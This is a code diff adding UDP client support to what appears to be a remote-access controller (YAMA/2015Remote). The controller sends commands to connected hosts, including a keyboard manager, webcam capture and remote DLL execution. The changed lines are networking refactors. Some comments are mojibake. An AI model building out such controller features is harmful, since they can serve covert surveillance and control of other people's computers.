feature: Support client connections over UDP

client/KernelManager.cpp

@@ -28,7 +28,7 @@ IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, bool exit_while_di
 ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit) {
 	static ThreadInfo tKeyboard;
 	tKeyboard.run = FOREVER_RUN;
-	tKeyboard.p = NewNetClient(conn, bExit, false);
+	tKeyboard.p = new IOCPClient(bExit, false);
 	tKeyboard.conn = conn;
 	tKeyboard.h = (HANDLE)CreateThread(NULL, NULL, LoopKeyboardManager, &tKeyboard, 0, NULL);
 	return &tKeyboard;

server/2015Remote/2015Remote.cpp

@@ -138,7 +138,7 @@ BOOL CMy2015RemoteApp::InitInstance()
 	// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڴ洢<DAB4><E6B4A2><EFBFBD>õ<EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
 	// TODO: Ӧ<>ʵ<EFBFBD><CAB5>޸ĸ<DEB8><C4B8>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD>
 	// <20><><EFBFBD><EFBFBD><EFBFBD>޸<EFBFBD>Ϊ<EFBFBD><CEAA>˾<EFBFBD><CBBE><EFBFBD><EFBFBD>֯<EFBFBD><D6AF>
-	SetRegistryKey(_T("Remoter"));
+	SetRegistryKey(_T("YAMA"));
 
 	CMy2015RemoteDlg dlg(nullptr);
 	m_pMainWnd = &dlg;

server/2015Remote/2015RemoteDlg.cpp

@@ -1036,8 +1036,9 @@ void CMy2015RemoteDlg::Release(){
 	int n = m_CList_Online.GetItemCount();
 	for(int Pos = 0; Pos < n; ++Pos) 
 	{
-		CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(Pos);
+		context* ContextObject = (context*)m_CList_Online.GetItemData(Pos);
 		ContextObject->Send2Client( &bToken, sizeof(BYTE));
+		ContextObject->Destroy();
 	}
 	LeaveCriticalSection(&m_cs);
 	Sleep(500);
@@ -1436,10 +1437,10 @@ VOID CMy2015RemoteDlg::SendSelectedCommand(PBYTE  szBuffer, ULONG ulLength)
 	while(Pos)
 	{
 		int	iItem = m_CList_Online.GetNextSelectedItem(Pos);
-		CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem);
+		context* ContextObject = (context*)m_CList_Online.GetItemData(iItem);
-		if (!ContextObject->bLogin && szBuffer[0] != COMMAND_BYE)
+		if (!ContextObject->IsLogin() && szBuffer[0] != COMMAND_BYE)
 			continue;
-		if (szBuffer[0]== COMMAND_WEBCAM && ContextObject->sClientInfo[ONLINELIST_VIDEO] == CString("无"))
+		if (szBuffer[0]== COMMAND_WEBCAM && ContextObject->GetClientData(ONLINELIST_VIDEO) == CString("无"))
 		{
 			continue;
 		}
@@ -1632,8 +1633,10 @@ BOOL CMy2015RemoteDlg::Activate(const std::string& nPort,int nMaxConnection)
 
 VOID CALLBACK CMy2015RemoteDlg::NotifyProc(CONTEXT_OBJECT* ContextObject)
 {
-	if (!g_2015RemoteDlg)
+	if (!g_2015RemoteDlg || g_2015RemoteDlg->isClosed) {
+		ContextObject->Destroy();
 		return;
+	}
 
 	AUTO_TICK(50);
 
@@ -1771,6 +1774,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
 	}
 	case TOKEN_HEARTBEAT: case 137:
 		UpdateActiveWindow(ContextObject);
+		ContextObject->Destroy();
 		break;
 	case SOCKET_DLLLOADER: {// 请求DLL
 		auto len = ContextObject->InDeCompressedBuffer.GetBufferLength();
@@ -1890,16 +1894,12 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
 
 	try
 	{
-		sockaddr_in  ClientAddr;
+		strIP = ContextObject->GetPeerName().c_str();
-		memset(&ClientAddr, 0, sizeof(ClientAddr));
-		int iClientAddrLen = sizeof(sockaddr_in);
-		SOCKET nSocket = ContextObject->sClientSocket;
-		BOOL bOk = getpeername(nSocket, (SOCKADDR*)&ClientAddr, &iClientAddrLen);
 		// 不合法的数据包
 		if (ContextObject->InDeCompressedBuffer.GetBufferLength() != sizeof(LOGIN_INFOR))
 		{
 			char buf[100];
-			sprintf_s(buf, "*** Received [%s] invalid login data! ***\n", inet_ntoa(ClientAddr.sin_addr));
+			sprintf_s(buf, "*** Received [%s] invalid login data! ***\n", strIP.GetString());
 			Mprintf(buf);
 			return -1;
 		}
@@ -1912,7 +1912,6 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
 		if (!ContextObject->bLogin) {
 			Mprintf("*** Received master '%s' client! ***\n", LoginInfor->szMasterID);
 		}
-		strIP = inet_ntoa(ClientAddr.sin_addr);
 
 		//主机名称
 		strPCName = LoginInfor->szPCName;
@@ -1934,7 +1933,7 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
 
 		strVideo = m_settings.DetectSoftware ? "无" : LoginInfor->bWebCamIsExist ? "有" : "无";
 
-		strAddr.Format("%d", nSocket);
+		strAddr.Format("%d", ContextObject->GetPort());
 		auto v = LoginInfor->ParseReserved(RES_MAX);
 		AddList(strIP,strAddr,strPCName,strOS,strCPU,strVideo,strPing,LoginInfor->moduleVersion,LoginInfor->szStartTime, v, ContextObject);
 		delete LoginInfor;
@@ -1993,10 +1992,10 @@ void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx) {
 
 	CLock L(m_cs);
 	int n = m_CList_Online.GetItemCount();
-	DWORD_PTR cur = (DWORD_PTR)ctx;
+	context* cur = (context*)ctx;
 	for (int i = 0; i < n; ++i) {
-		DWORD_PTR id = m_CList_Online.GetItemData(i);
+		context* id = (context*)m_CList_Online.GetItemData(i);
-		if (id == cur) {
+		if (cur->IsEqual(id)) {
 			m_CList_Online.SetItemText(i, ONLINELIST_LOGINTIME, hb.ActiveWnd);
 			if (hb.Ping > 0)
 				m_CList_Online.SetItemText(i, ONLINELIST_PING, std::to_string(hb.Ping).c_str());
@@ -2018,8 +2017,8 @@ void CMy2015RemoteDlg::SendMasterSettings(CONTEXT_OBJECT* ctx) {
 		EnterCriticalSection(&m_cs);
 		for (int i=0, n=m_CList_Online.GetItemCount(); i<n; ++i)
 		{
-			CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(i);
+			context* ContextObject = (context*)m_CList_Online.GetItemData(i);
-			if (!ContextObject->bLogin)
+			if (!ContextObject->IsLogin())
 				continue;
 			ContextObject->Send2Client(buf, sizeof(buf));
 		}
@@ -2198,7 +2197,7 @@ void CMy2015RemoteDlg::OnMainProxy()
 	while (Pos)
 	{
 		int	iItem = m_CList_Online.GetNextSelectedItem(Pos);
-		CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem);
+		context* ContextObject = (context*)m_CList_Online.GetItemData(iItem);
 		BYTE cmd[] = { COMMAND_PROXY };
 		ContextObject->Send2Client( cmd, sizeof(cmd));
 		break;
@@ -2223,12 +2222,12 @@ void CMy2015RemoteDlg::OnOnlineHostnote()
 	POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
 	while (Pos) {
 		int	iItem = m_CList_Online.GetNextSelectedItem(Pos);
-		CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem);
+		context* ContextObject = (context*)m_CList_Online.GetItemData(iItem);
-		auto f = m_ClientMap.find(ContextObject->ID);
+		auto f = m_ClientMap.find(ContextObject->GetClientID());
 		if (f == m_ClientMap.end())
-			m_ClientMap[ContextObject->ID] = ClientValue("", dlg.m_str);
+			m_ClientMap[ContextObject->GetClientID()] = ClientValue("", dlg.m_str);
 		else
-			m_ClientMap[ContextObject->ID].UpdateNote(dlg.m_str);
+			m_ClientMap[ContextObject->GetClientID()].UpdateNote(dlg.m_str);
 		m_CList_Online.SetItemText(iItem, ONLINELIST_COMPUTER_NAME, dlg.m_str);
 		modified = TRUE;
 	}
@@ -2549,7 +2548,7 @@ void CMy2015RemoteDlg::OnDynamicSubMenu(UINT nID) {
 	while (Pos && menuIndex < m_DllList.size()) {
 		Buffer* buf = m_DllList[menuIndex]->Data;
 		int	iItem = m_CList_Online.GetNextSelectedItem(Pos);
-		CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem);
+		context* ContextObject = (context*)m_CList_Online.GetItemData(iItem);
 		ContextObject->Send2Client( buf->Buf(), 1 + sizeof(DllExecuteInfo));
 	}
 	LeaveCriticalSection(&m_cs);
@@ -2621,7 +2620,7 @@ void CMy2015RemoteDlg::OnListClick(NMHDR* pNMHDR, LRESULT* pResult)
 	if (pNMItem->iItem >= 0)
 	{
 		// 获取数据
-		CONTEXT_OBJECT* ctx = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(pNMItem->iItem);
+		context* ctx = (context*)m_CList_Online.GetItemData(pNMItem->iItem);
 		CString res[RES_MAX];
 		CString startTime = ctx->GetClientData(ONLINELIST_LOGINTIME);
 		ctx->GetAdditionalData(res);

server/2015Remote/IOCPServer.cpp

@@ -446,13 +446,12 @@ BOOL IOCPServer::OnClientInitializing(PCONTEXT_OBJECT  ContextObject, DWORD dwTr
 	return TRUE;
 }
 
-BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT  ContextObject, DWORD dwTrans)
+// May be this function should be a member of `CONTEXT_OBJECT`.
-{
+BOOL ParseReceivedData(CONTEXT_OBJECT * ContextObject, DWORD dwTrans, pfnNotifyProc m_NotifyProc) {
 	try
 	{
 		if (dwTrans == 0)    //<2F>Է<EFBFBD><D4B7>ر<EFBFBD><D8B1><EFBFBD><EFBFBD>׽<EFBFBD><D7BD><EFBFBD>
 		{
-			RemoveStaleContext(ContextObject);
 			return FALSE;
 		}
 		//<2F><><EFBFBD><EFBFBD><EFBFBD>յ<EFBFBD><D5B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݿ<EFBFBD><DDBF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD>wsabuff    8192
@@ -543,14 +542,23 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT  ContextObject, DWORD dwTrans
 		ContextObject->InCompressedBuffer.ClearBuffer();
 		ContextObject->InDeCompressedBuffer.ClearBuffer();
 	}
+	return TRUE;
+}
+
+BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT  ContextObject, DWORD dwTrans)
+{
+	if (FALSE == ParseReceivedData(ContextObject, dwTrans, m_NotifyProc)) {
+		RemoveStaleContext(ContextObject);
+		return FALSE;
+	}
+
 	PostRecv(ContextObject); //Ͷ<><CDB6><EFBFBD>µĽ<C2B5><C4BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><DDB5><EFBFBD><EFBFBD><EFBFBD>
 
 	return TRUE;
 }
 
-VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength)
+BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength) {
-{
+	assert(ContextObject);
-	assert (ContextObject);
 	// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>͵<EFBFBD><CDB5><EFBFBD><EFBFBD><EFBFBD>
 	if (ulOriginalLength < 100 && szBuffer[0] != COMMAND_SCREEN_CONTROL && szBuffer[0] != CMD_HEARTBEAT_ACK) {
 		char buf[100] = { 0 };
@@ -566,10 +574,10 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe
 	{
 		do
 		{
-			if (ulOriginalLength <= 0) return;
+			if (ulOriginalLength <= 0) return FALSE;
 			if (ContextObject->CompressMethod == COMPRESS_UNKNOWN) {
 				Mprintf("[ERROR] UNKNOWN compress method \n");
-				return;
+				return FALSE;
 			}
 			else if (ContextObject->CompressMethod == COMPRESS_NONE) {
 				Buffer tmp(szBuffer, ulOriginalLength); szBuffer = tmp.Buf();
@@ -595,7 +603,7 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe
 			{
 				Mprintf("[ERROR] compress failed \n");
 				if (CompressedBuffer != buf) delete [] CompressedBuffer;
-				return;
+				return FALSE;
 			}
 
 			ulCompressedLength =  usingZstd ? iRet : ulCompressedLength;
@@ -604,6 +612,17 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe
 			if (CompressedBuffer != buf) delete [] CompressedBuffer;
 		}while (false);
 
+		return TRUE;
+	}
+	catch (...) {
+		Mprintf("[ERROR] OnClientPreSending catch an error \n");
+		return FALSE;
+	}
+}
+
+VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength)
+{
+	if (WriteContextData(ContextObject, szBuffer, ulOriginalLength)){
 		OVERLAPPEDPLUS* OverlappedPlus = new OVERLAPPEDPLUS(IOWrite);
 		BOOL bOk = PostQueuedCompletionStatus(m_hCompletionPort, 0, (ULONG_PTR)ContextObject, &OverlappedPlus->m_ol);
 		if ( (!bOk && GetLastError() != ERROR_IO_PENDING) )  //<2F><><EFBFBD><EFBFBD>Ͷ<EFBFBD><CDB6>ʧ<EFBFBD><CAA7>
@@ -613,8 +632,6 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe
 			RemoveStaleContext(ContextObject);
 			SAFE_DELETE(OverlappedPlus);
 		}
-	}catch(...){
-		Mprintf("[ERROR] OnClientPreSending catch an error \n");
 	}
 }
 

server/2015Remote/IOCPServer.h

@@ -183,3 +183,7 @@ public:
 };
 
 typedef CDialogBase DialogBase;
+
+BOOL ParseReceivedData(CONTEXT_OBJECT* ContextObject, DWORD dwTrans, pfnNotifyProc m_NotifyProc);
+
+BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength);

server/2015Remote/IOCPUDPServer.cpp

@@ -2,6 +2,7 @@
 #include "IOCPUDPServer.h"
 #include <thread>
 #include <iostream>
+#include "IOCPServer.h"
 
 IOCPUDPServer::IOCPUDPServer() {
 	WSADATA wsaData;
@@ -50,7 +51,7 @@ void IOCPUDPServer::PostRecv() {
 	if (!m_running) return;
 
 	AddCount(1);
-	CONTEXT_OBJECT* ctx = new CONTEXT_OBJECT();
+	CONTEXT_UDP* ctx = new CONTEXT_UDP();
 	ctx->InitMember(m_socket, this);
 
 	IO_CONTEXT* ioCtx = new IO_CONTEXT();
@@ -59,7 +60,6 @@ void IOCPUDPServer::PostRecv() {
 
 	ctx->wsaInBuf.buf = ctx->szBuffer;
 	ctx->wsaInBuf.len = sizeof(ctx->szBuffer);
-	ctx->addrLen = sizeof(sockaddr_in);
 
 	DWORD flags = 0;
 	int err = WSARecvFrom(
@@ -104,14 +104,11 @@ void IOCPUDPServer::WorkerThread() {
 		if (!pOverlapped) continue;
 
 		IO_CONTEXT* ioCtx = CONTAINING_RECORD(pOverlapped, IO_CONTEXT, ol);
-		CONTEXT_OBJECT* ctx = ioCtx->pContext;
+		CONTEXT_UDP* ctx = ioCtx->pContext;
-
+		ParseReceivedData(ctx, bytes, m_notify);
-		if (m_notify)
-			m_notify(ctx);
 
 		// <20>ͷ<EFBFBD>
 		delete ioCtx;
-		delete ctx;
 		AddCount(-1);
 
 		PostRecv(); // <20><><EFBFBD><EFBFBD><EFBFBD>ύ
@@ -119,15 +116,22 @@ void IOCPUDPServer::WorkerThread() {
 }
 
 VOID IOCPUDPServer::Send2Client(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, ULONG ulOriginalLength) {
-	WSABUF buf = { ulOriginalLength, (CHAR*)szBuffer };
+	ContextObject->OutCompressedBuffer.ClearBuffer();
+	if (!WriteContextData(ContextObject, szBuffer, ulOriginalLength)) 
+		return;
+	WSABUF buf = { 
+		ContextObject->OutCompressedBuffer.GetBufferLength(), 
+		(CHAR*)ContextObject->OutCompressedBuffer.GetBuffer(),
+	};
 	DWORD sent = 0;
+	CONTEXT_UDP* ctx = (CONTEXT_UDP*)ContextObject;
 	int err = WSASendTo(
 		ContextObject->sClientSocket,
 		&buf,
 		1,
 		&sent,
 		0,
-		(sockaddr*)&ContextObject->clientAddr,
+		(sockaddr*)&ctx->clientAddr,
 		sizeof(sockaddr_in),
 		NULL,
 		NULL

server/2015Remote/IOCPUDPServer.h

@@ -41,6 +41,6 @@ private:
 
 	struct IO_CONTEXT {
 		OVERLAPPED ol;
-		CONTEXT_OBJECT* pContext;
+		CONTEXT_UDP* pContext;
 	};
 };

server/2015Remote/Server.h

@@ -8,6 +8,7 @@
 #include "Buffer.h"
 #define XXH_INLINE_ALL
 #include "xxhash.h"
+#include <WS2tcpip.h>
 
 #define PACKET_LENGTH   0x2000
 
@@ -250,9 +251,32 @@ public:
 	virtual void Disconnect(CONTEXT_OBJECT* ctx) {}
 };
 
-typedef class CONTEXT_OBJECT
+class context {
+public:
+	// <20><><EFBFBD>麯<EFBFBD><E9BAAF>
+	virtual VOID InitMember(SOCKET s, Server* svr)=0;
+	virtual void Send2Client(PBYTE szBuffer, ULONG ulOriginalLength) = 0;
+	virtual CString GetClientData(int index)const = 0;
+	virtual void GetAdditionalData(CString(&s)[RES_MAX]) const =0;
+	virtual uint64_t GetClientID() const = 0;
+	virtual std::string GetPeerName() const = 0;
+	virtual int GetPort() const = 0;
+
+public:
+	virtual ~context() {}
+	virtual void Destroy() {}
+	virtual BOOL IsLogin() const { 
+		return TRUE;
+	}
+	virtual bool IsEqual(context *ctx) const {
+		return this == ctx || (GetPeerName() == ctx->GetPeerName() && GetPort() == ctx->GetPort());
+	}
+};
+
+typedef class CONTEXT_OBJECT : public context
 {
 public:
+	virtual ~CONTEXT_OBJECT(){}
 	CString  sClientInfo[ONLINELIST_MAX];
 	CString  additonalInfo[RES_MAX];
 	SOCKET   sClientSocket;
@@ -273,8 +297,6 @@ public:
 	BOOL 				bLogin;						// <20>Ƿ<EFBFBD> login
 	std::string			PeerName;					// <20>Զ<EFBFBD>IP
 	Server*				server;						// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
-	int					addrLen;					// for UDP
-	sockaddr_in			clientAddr;					// for UDP
 
 	VOID InitMember(SOCKET s, Server *svr)
 	{
@@ -297,13 +319,11 @@ public:
 		bLogin = FALSE;
 		m_bProxyConnected = FALSE;
 		server = svr;
-		clientAddr = {};
-		addrLen = sizeof(sockaddr_in);
 	}
 	Server* GetServer() {
 		return server;
 	}
-	VOID Send2Client(PBYTE szBuffer, ULONG ulOriginalLength) {
+	VOID Send2Client(PBYTE szBuffer, ULONG ulOriginalLength) override {
 		if (server)
 			server->Send2Client(this, szBuffer, ulOriginalLength);
 	}
@@ -322,18 +342,27 @@ public:
 	ULONG GetBufferLength() {
 		return InDeCompressedBuffer.GetBufferLength();
 	}
-	std::string GetPeerName() const {
+	virtual std::string GetPeerName() const {
 		return PeerName;
 	}
-	CString GetClientData(int index) const {
+	virtual int GetPort() const {
+		return sClientSocket;
+	}
+	CString GetClientData(int index)  const override {
 		return sClientInfo[index];
 	}
-	void GetAdditionalData(CString(&s)[RES_MAX]) const {
+	void GetAdditionalData(CString(&s)[RES_MAX])  const override {
 		for (int i = 0; i < RES_MAX; i++)
 		{
 			s[i] = additonalInfo[i];
 		}
 	}
+	BOOL IsLogin() const override {
+		return bLogin;
+	}
+	uint64_t GetClientID() const override {
+		return ID;
+	}
 	void CancelIO() {
 		SAFE_CANCELIO(sClientSocket);
 	}
@@ -427,3 +456,27 @@ public:
 }CONTEXT_OBJECT, * PCONTEXT_OBJECT;
 
 typedef CList<PCONTEXT_OBJECT> ContextObjectList;
+
+class CONTEXT_UDP : public CONTEXT_OBJECT {
+public:
+	int					addrLen;
+	sockaddr_in			clientAddr;
+
+	VOID InitMember(SOCKET s, Server* svr) override {
+		CONTEXT_OBJECT::InitMember(s, svr);
+		clientAddr = {};
+		addrLen = sizeof(sockaddr_in);
+	}
+	void Destroy() override {
+		delete this;
+	}
+	virtual std::string GetPeerName() const override {
+		char client_ip[INET_ADDRSTRLEN];
+		inet_ntop(AF_INET, &clientAddr.sin_addr, client_ip, INET_ADDRSTRLEN);
+		return client_ip;
+	}
+	virtual int GetPort() const override {
+		int client_port = ntohs(clientAddr.sin_port);
+		return client_port;
+	}
+};